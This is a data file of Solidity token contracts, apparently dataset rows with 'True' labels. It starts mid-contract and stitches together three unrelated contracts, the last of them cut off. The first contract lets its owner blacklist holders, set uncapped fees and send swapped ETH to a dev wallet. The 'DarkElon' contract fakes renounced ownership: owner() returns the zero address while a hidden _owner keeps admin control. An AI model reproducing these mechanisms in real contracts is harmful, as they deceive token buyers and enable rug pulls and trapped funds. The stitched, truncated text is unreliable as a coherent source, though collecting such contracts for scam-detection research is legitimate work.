uint256 ethReceived
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address payable devWalletAddress) public {
_devWalletAddress = devWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){
require(msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee");
swapAndLiquifyEnabled = _devFeeEnabled;
return(swapAndLiquifyEnabled);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function _setdevWallet(address payable devWalletAddress) external onlyOwner() {
_devWalletAddress = devWalletAddress;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[from], "You have no power here!");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 tokenBalance = contractTokenBalance;
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
sendETHTodev(newBalance);
// add liquidity to uniswap
emit SwapAndLiquify(tokenBalance, newBalance);
}
function sendETHTodev(uint256 amount) private {
_devWalletAddress.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
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] |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CharityToken' token contract
//
// Deployed to : 0xC3a099EbE439E9A3D3595d4617380403f9E11eB0
// Symbol : CHT
// Name : Charity Token
// Total supply: 1000000000
// Decimals : 4
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CharityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CharityToken() public {
symbol = "CHT";
name = "Charity Token";
decimals = 4;
_totalSupply = 10000000000000;
balances[0xC3a099EbE439E9A3D3595d4617380403f9E11eB0] = _totalSupply;
Transfer(address(0), 0xC3a099EbE439E9A3D3595d4617380403f9E11eB0, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/*
.########.....###....########..##....##.########.##........#######..##....##
.##.....##...##.##...##.....##.##...##..##.......##.......##.....##.###...##
.##.....##..##...##..##.....##.##..##...##.......##.......##.....##.####..##
.##.....##.##.....##.########..#####....######...##.......##.....##.##.##.##
.##.....##.#########.##...##...##..##...##.......##.......##.....##.##..####
.##.....##.##.....##.##....##..##...##..##.......##.......##.....##.##...###
.########..##.....##.##.....##.##....##.########.########..#######..##....##
https://t.me/darkelontoken
For information:
First sell = wait 1 hour
Second sell = wait 2 hours
Third sell = wait 6 hours
Fourth and others sell = wait 1 day :)
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _ownr;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public pure returns (address) {
return address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
